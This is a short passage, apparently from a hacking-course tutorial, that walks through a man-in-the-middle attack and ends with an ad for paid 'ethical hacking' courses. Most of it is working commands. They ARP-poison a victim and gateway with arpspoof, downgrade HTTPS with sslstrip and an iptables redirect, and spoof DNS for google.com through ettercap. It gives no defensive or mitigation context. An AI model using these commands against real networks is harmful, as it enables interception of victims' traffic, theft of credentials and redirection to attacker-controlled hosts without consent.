In a MITM attack, the attacker positions themselves between the victim and the server, intercepting all communication.
# Using arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t victim_ip gateway_ip
arpspoof -i eth0 -t gateway_ip victim_ipNow ALL traffic from the victim flows through the attacker's machine.
# Using sslstrip
sslstrip -l 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080Downgrades HTTPS to HTTP — victim thinks they're secure but they're not.
# Modify /etc/ettercap/etter.dns
google.com A attacker_ip
*.google.com A attacker_ip
# Run ettercap
ettercap -T -q -i eth0 -M arp:remote /victim_ip// /gateway_ip// -P dns_spoofSubscribe to ONLY4YOU and get hands-on access to 40+ premium courses — Ethical Hacking, Kali Linux, Metasploit, Network Hacking, Bug Bounty & more!